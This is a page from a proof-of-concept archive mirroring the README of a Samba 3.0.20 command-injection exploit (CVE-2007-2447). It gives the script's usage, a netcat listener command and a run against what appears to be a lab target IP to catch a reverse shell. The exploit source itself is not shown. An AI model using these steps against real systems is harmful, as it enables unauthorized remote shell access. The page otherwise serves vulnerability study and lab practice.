Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2007-2447 PoC — Samba MS-RPC Shell命令注入漏洞

Source
Associated Vulnerability
Title:Samba MS-RPC Shell命令注入漏洞 (CVE-2007-2447)
Description:The MS-RPC functionality in smbd in Samba 3.0.0 through 3.0.25rc3 allows remote attackers to execute arbitrary commands via shell metacharacters involving the (1) SamrChangePassword function, when the "username map script" smb.conf option is enabled, and allows remote authenticated users to execute commands via shell metacharacters involving other MS-RPC functions in the (2) remote printer and (3) file share management.
Description
Exploit Samba smbd 3.0.20-Debian
Readme
# CVE-2007-2447

🖥️ -n3rdyn3xus- #️⃣ CVE-2007-2447

```
python3 smb3.0.20.py -lh [localhost] -lp [local port] -t [target]
```

### Error

![image](https://github.com/user-attachments/assets/91dd832e-b68d-4db9-b446-2abf4ba18fc8)

The error you're encountering indicates that the Python script is trying to import a module named `smb`, but it is not installed on your system. The smb module is part of the pysmb library, which allows you to interact with SMB/CIFS servers.

To resolve this issue, you need to install the `pysmb` library. You can do this using `pip`. Here's how:

1. Install pysmb:

```
pip install pysmb
```

2. Verify the installation: After installing, you can verify that the pysmb module is installed by running:
```
python -c "import smb; print('pysmb is installed')"
```

![image](https://github.com/user-attachments/assets/04c368b0-82b0-401a-a69f-00c67b671942)


### Create a Netcat listener

```
nc -nlvp 4444
```

### Run the script

```
python3 smb3.0.20.py -lh 10.10.16.18 -lp 4444 -t 10.10.10.3
```
![image](https://github.com/user-attachments/assets/ab7dc16f-178e-4ab0-a1f0-a50e88e6f768)

![image](https://github.com/user-attachments/assets/b30c327d-a9ad-4115-9970-e3e2206538c3)




File Snapshot

[4.0K] /data/pocs/ee8a72bb022fab08846e484e2cc8c349cc5c898b ├── [1.2K] README.md └── [2.1K] smb3.0.20.py 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →